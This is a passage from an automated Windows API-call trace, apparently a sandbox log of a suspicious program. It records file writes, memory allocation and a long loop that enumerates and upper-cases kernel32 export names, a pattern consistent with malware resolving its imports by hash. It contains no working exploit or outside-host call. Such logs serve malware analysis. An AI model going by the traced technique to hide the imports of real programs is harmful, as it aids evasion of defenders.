liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.454] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0129.454] CloseHandle (hObject=0x0) returned 0 [0129.455] CloseHandle (hObject=0x5f4) returned 1 [0129.456] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.456] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.456] GetTickCount () returned 0x35bdd [0129.456] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.457] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0129.457] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0129.457] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.457] lstrlenA (lpString="kernel32.dll") returned 12 [0129.458] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0129.458] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0129.458] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0129.458] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0129.458] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0129.458] lstrlenA (lpString="ADDATOMA") returned 8 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0129.458] lstrlenA (lpString="ADDATOMW") returned 8 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0129.458] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0129.458] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0129.458] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0129.458] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0129.458] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0129.458] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0129.458] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0129.458] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0129.458] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0129.459] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0129.459] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0129.459] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0129.459] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0129.459] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0129.459] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0129.459] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0129.459] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0129.459] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0129.459] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0129.459] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0129.459] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0129.459] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0129.459] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0129.459] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0129.459] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0129.459] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0129.459] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0129.459] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0129.459] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0129.460] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0129.460] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0129.460] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0129.460] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0129.460] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0129.460] lstrlenA (lpString="BACKUPREAD") returned 10 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0129.460] lstrlenA (lpString="BACKUPSEEK") returned 10 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0129.460] lstrlenA (lpString="BACKUPWRITE") returned 11 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0129.460] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0129.460] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0129.460] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0129.460] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0129.460] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0129.460] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0129.460] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0129.460] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0129.460] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0129.460] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0129.460] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0129.460] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0129.460] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0129.460] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0129.461] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0129.461] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0129.461] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0129.461] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0129.461] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0129.461] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0129.461] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0129.461] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0129.461] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0129.461] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0129.461] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0129.461] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0129.461] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0129.461] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0129.461] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0129.461] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0129.461] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0129.461] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0129.461] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0129.461] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0129.461] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0129.461] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0129.461] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0129.462] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0129.462] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0129.462] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0129.462] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0129.462] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0129.462] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0129.462] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0129.462] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0129.462] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0129.462] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0129.462] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0129.462] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0129.462] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0129.462] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0129.462] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0129.462] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0129.462] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0129.462] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0129.462] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0129.462] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0129.462] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0129.462] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0129.463] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0129.463] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0129.463] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0129.463] lstrlenA (lpString="BEEP") returned 4 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0129.463] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0129.463] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0129.463] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0129.463] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0129.463] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0129.463] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0129.463] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: 